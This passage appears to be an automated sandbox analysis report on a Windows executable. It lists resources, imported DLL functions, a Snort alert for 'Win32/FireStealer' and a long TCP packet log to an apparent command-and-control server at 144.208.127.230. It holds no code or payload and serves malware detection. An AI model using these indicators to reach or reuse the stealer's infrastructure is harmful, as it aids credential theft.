RT_ICON	0x4db70	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Chinese	China	0.6042418772563177
RT_ICON	0x4e430	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Chinese	China	0.6042418772563177
RT_DIALOG	0x4ecf0	0x23e	data	Chinese	China	0.5174216027874564
RT_DIALOG	0x4ef30	0x94	data	Chinese	China	0.6959459459459459
RT_DIALOG	0x7b910	0xe2	data	Chinese	China	0.6637168141592921
RT_STRING	0x7bbf8	0x46	data	Chinese	China	0.6857142857142857
RT_STRING	0x7bc40	0x54	data	Chinese	China	0.8571428571428571
RT_STRING	0x7bc98	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x7bcc8	0x74	data	Chinese	China	0.8448275862068966
RT_STRING	0x7bd40	0x1d0	data	Chinese	China	0.8060344827586207
RT_STRING	0x7c088	0x164	data	Chinese	China	0.48314606741573035
RT_STRING	0x7bf50	0x132	data	Chinese	China	0.6405228758169934
RT_STRING	0x7c570	0x50	data	Chinese	China	0.725
RT_STRING	0x7bf10	0x40	data	Chinese	China	0.65625
RT_STRING	0x7c4d8	0x6a	data	Chinese	China	0.7452830188679245
RT_STRING	0x7c1f0	0x1d6	data	Chinese	China	0.6723404255319149
RT_STRING	0x7c3c8	0x110	data	Chinese	China	0.625
RT_STRING	0x7c548	0x24	data	Chinese	China	0.4444444444444444
RT_STRING	0x7c5c0	0x30	data	Chinese	China	0.625
RT_GROUP_CURSOR	0x7a688	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x7ae78	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7a7e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7ad28	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7abd8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b508	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7aa88	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b118	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7a938	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7afc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b268	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b3b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b658	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b7a8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x7b8f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x4e418	0x14	data	Chinese	China	1.15
RT_GROUP_ICON	0x4ecd8	0x14	data	Chinese	China	1.25
RT_VERSION	0x4efc8	0x2e8	data	Chinese	China	0.5631720430107527

Imports

DLL	Import
KERNEL32.dll	LockFile, UnlockFile, SetEndOfFile, DuplicateHandle, FindClose, FindFirstFileA, GetFullPathNameA, GetCPInfo, GetOEMCP, FileTimeToSystemTime, SetErrorMode, FileTimeToLocalFileTime, GetFileAttributesA, GetFileTime, GetTickCount, HeapAlloc, HeapFree, RtlUnwind, GetStartupInfoA, GetCommandLineA, RaiseException, GetSystemTimeAsFileTime, ExitProcess, TerminateProcess, HeapReAlloc, HeapSize, FlushFileBuffers, HeapCreate, VirtualFree, VirtualAlloc, IsBadWritePtr, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, SetUnhandledExceptionFilter, GetStringTypeA, GetStringTypeW, GetCurrentProcessId, LCMapStringA, LCMapStringW, GetTimeZoneInformation, IsBadReadPtr, IsBadCodePtr, VirtualProtect, GetSystemInfo, VirtualQuery, SetStdHandle, SetEnvironmentVariableA, SetFilePointer, GlobalFlags, WritePrivateProfileStringA, TlsFree, DeleteCriticalSection, LocalReAlloc, TlsSetValue, TlsAlloc, InitializeCriticalSection, TlsGetValue, EnterCriticalSection, GlobalHandle, GlobalReAlloc, LeaveCriticalSection, LocalAlloc, GlobalGetAtomNameA, GlobalFindAtomA, lstrcatA, lstrcmpW, GlobalAddAtomA, GetCurrentThread, GetCurrentThreadId, GlobalDeleteAtom, lstrcmpA, ConvertDefaultLocale, EnumResourceLanguagesA, lstrcpyA, SetLastError, GlobalFree, MulDiv, GlobalAlloc, GlobalLock, GlobalUnlock, GetModuleHandleA, GetProcAddress, FormatMessageA, LocalFree, CopyFileA, GetCurrentDirectoryA, FreeResource, OpenFile, GetCurrentProcess, SetPriorityClass, lstrcpynA, DeviceIoControl, ReadFile, GetFileSize, GetLastError, QueryPerformanceCounter, QueryPerformanceFrequency, GetSystemDirectoryA, CreateFileA, WriteFile, CloseHandle, DeleteFileA, GetModuleFileNameA, LoadLibraryA, FreeLibrary, GetVolumeInformationA, OutputDebugStringA, DebugBreak, InterlockedIncrement, InterlockedDecrement, FindResourceA, LoadResource, LockResource, SizeofResource, lstrlenA, lstrcmpiA, CompareStringW, lstrlenW, CompareStringA, GetVersion, WideCharToMultiByte, MultiByteToWideChar, GetVersionExA, GetThreadLocale, GetLocaleInfoA, GetACP, HeapDestroy, InterlockedExchange
USER32.dll	InvalidateRgn, SetCapture, ReleaseCapture, GetNextDlgGroupItem, MessageBeep, RegisterClipboardFormatA, PostThreadMessageA, GetForegroundWindow, GetTopWindow, UnhookWindowsHookEx, GetMessagePos, MapWindowPoints, SetForegroundWindow, UpdateWindow, GetMenu, GetSysColor, AdjustWindowRectEx, EqualRect, GetClassInfoA, RegisterClassA, UnregisterClassA, GetDlgCtrlID, DefWindowProcA, CallWindowProcA, SetWindowLongA, OffsetRect, IntersectRect, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, CopyRect, PtInRect, GetWindow, SetWindowContextHelpId, MapDialogRect, SetWindowPos, GetDesktopWindow, SetActiveWindow, EndPaint, DestroyWindow, IsWindow, InvalidateRect, GetNextDlgTabItem, EndDialog, SetMenuItemBitmaps, GetFocus, ModifyMenuA, EnableMenuItem, CheckMenuItem, GetMenuCheckMarkDimensions, LoadBitmapA, SetWindowsHookExA, CallNextHookEx, GetMessageA, TranslateMessage, DispatchMessageA, GetActiveWindow, IsWindowVisible, GetKeyState, PeekMessageA, GetCursorPos, ValidateRect, GetParent, GetWindowLongA, GetLastActivePopup, IsWindowEnabled, SetCursor, PostMessageA, PostQuitMessage, wsprintfA, GetMenuState, GetMenuItemID, GetMenuItemCount, CharLowerA, CharUpperA, BeginPaint, GetWindowDC, ReleaseDC, GetDC, ClientToScreen, GetSubMenu, MessageBoxA, CharNextA, wvsprintfA, GetSystemMetrics, LoadIconA, EnableWindow, GetClientRect, IsIconic, GetSystemMenu, SendMessageA, AppendMenuA, CopyAcceleratorTableA, SetRect, IsRectEmpty, DrawIcon, LoadCursorA, GetDlgItem, GetSysColorBrush, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, DestroyMenu, ShowWindow, MoveWindow, SetWindowTextA, IsDialogMessageA, RegisterWindowMessageA, WinHelpA, GetCapture, CreateWindowExA, GetClassLongA, GetClassInfoExA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SendDlgItemMessageA, SetFocus, IsChild, GetWindowTextLengthA, CreateDialogIndirectParamA, GetWindowTextA, GetMessageTime
GDI32.dll	SetMapMode, DeleteObject, GetViewportExtEx, GetWindowExtEx, PtVisible, RectVisible, TextOutA, Escape, SelectObject, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, SetWindowExtEx, ScaleWindowExtEx, ExtSelectClipRgn, DeleteDC, GetStockObject, GetBkColor, GetTextColor, CreateRectRgnIndirect, GetRgnBox, GetMapMode, RestoreDC, SaveDC, ExtTextOutA, GetObjectA, SetBkColor, SetTextColor, GetClipBox, CreateBitmap, GetDeviceCaps
comdlg32.dll	GetFileTitleA
WINSPOOL.DRV	ClosePrinter, DocumentPropertiesA, OpenPrinterA
ADVAPI32.dll	RegEnumKeyA, RegSetValueExA, RegCreateKeyExA, RegQueryValueA, RegCloseKey, RegDeleteKeyA, RegOpenKeyExA, RegQueryValueExA, RegOpenKeyA
COMCTL32.dll
SHLWAPI.dll	PathFindExtensionA, PathFindFileNameA, PathStripToRootA, PathIsUNCA
oledlg.dll
ole32.dll	CreateILockBytesOnHGlobal, StgCreateDocfileOnILockBytes, StgOpenStorageOnILockBytes, CoGetClassObject, CLSIDFromString, CLSIDFromProgID, CoTaskMemAlloc, OleInitialize, OleUninitialize, CoTaskMemFree, CoCreateInstance, CoSetProxyBlanket, CoInitialize, CoUninitialize, CoRevokeClassObject, OleIsCurrentClipboard, OleFlushClipboard, CoFreeUnusedLibraries, CoRegisterMessageFilter
OLEAUT32.dll	VariantInit, SysAllocStringLen, VariantClear, VariantChangeType, SysStringLen, SysAllocStringByteLen, OleCreateFontIndirect, SystemTimeToVariantTime, SafeArrayDestroy, VariantCopy, SysAllocString, SysFreeString
iphlpapi.dll	GetAdaptersInfo
OLEACC.dll	LresultFromObject, CreateStdAccessibleObject

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/05/24-00:24:50.450010	TCP	2051909	ET TROJAN Win32/FireStealer Related Server Response	80	49789	144.208.127.230	192.168.11.20

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 5, 2024 00:24:47.904021978 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:47.904131889 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:47.904324055 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:47.906574965 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:47.906646967 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.118782997 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.119072914 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.120646954 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.120656013 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.120851994 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.152481079 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.196245909 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.459268093 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.459501028 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.459741116 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.460419893 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.460481882 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:48.460628033 CEST	49788	443	192.168.11.20	172.67.74.152
May 5, 2024 00:24:48.460686922 CEST	443	49788	172.67.74.152	192.168.11.20
May 5, 2024 00:24:50.109848976 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.215768099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.216002941 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.216104031 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.216152906 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.320934057 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.320976019 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450010061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450088978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450146914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450248957 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450306892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450361967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450412035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.450428009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.450566053 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.502199888 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.615658998 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.615658998 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.720161915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.720295906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.746968031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.784807920 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.784807920 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.889528036 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.913850069 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:50.955168009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.960611105 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:50.960611105 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.064706087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.089246988 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.138124943 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.138124943 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.242675066 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.273591042 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.314446926 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.344860077 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.344860077 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.449444056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.474955082 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.517565966 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.581295013 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.581295013 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.685782909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.720448017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.754550934 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.754550934 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.859148026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.886817932 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:51.939325094 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.993621111 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:51.993621111 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.098404884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.130491972 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.173640966 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.209886074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.209886074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.314246893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.350059032 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.392358065 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.440471888 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.440471888 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.545001030 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.572115898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.626641989 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.687793016 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.687793016 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.792337894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.820131063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:52.861021996 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.944320917 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:52.944320917 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.049401999 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.075536013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.126554966 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.186395884 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.186395884 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.291074038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.317679882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.360930920 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.392790079 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.392791033 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.497431040 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.543199062 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.595208883 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.618834972 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.618834972 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.723355055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.751441956 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.798261881 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.826003075 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.826004028 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:53.930629015 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:53.958475113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.001373053 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.029484987 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.029484987 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.133886099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.167054892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.220105886 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.272589922 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.272589922 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.376998901 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.422990084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.470036030 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.486279011 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.486279011 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.590747118 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.623517990 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.673110962 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.725047112 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.725048065 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.829422951 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.859028101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:54.907481909 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.956692934 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:54.956693888 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.061168909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.100518942 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.102848053 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.102849007 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.207528114 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.245388985 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.247212887 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.247214079 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.351927042 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.399734974 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.401648045 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.401648045 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.506419897 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.542815924 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.544415951 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.544415951 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.649034977 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.685813904 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.687386036 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.687438965 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.791846991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.816900015 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.818664074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.818664074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.923315048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.953720093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:55.957369089 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:55.957369089 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.062458038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.088408947 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.090285063 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.090285063 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.198144913 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.228220940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.229861975 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.229861975 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.334721088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.372591019 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.374567032 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.374567032 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.479279995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.522296906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.524049044 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.524049044 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.628483057 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.664613008 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.666251898 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.666251898 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.770798922 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.794918060 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.797039986 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.797039986 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.901638031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.939390898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:56.941421032 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:56.941421032 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.046119928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.083237886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.085170031 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.085170031 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.189697027 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.226768017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.228637934 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.228637934 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.333324909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.362283945 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.364016056 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.364017010 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.468729973 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.493560076 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.495294094 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.495294094 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.600059986 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.628474951 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.630544901 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.630544901 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.735157013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.769421101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.771349907 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.771349907 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.876192093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.903383017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:57.904882908 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:57.904882908 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:58.009799957 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:58.043065071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:58.044924021 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:58.044924021 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:24:58.149755001 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:58.174956083 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:24:58.219290972 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379357100 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379386902 CEST	49789	80	192.168.11.20	144.208.127.230
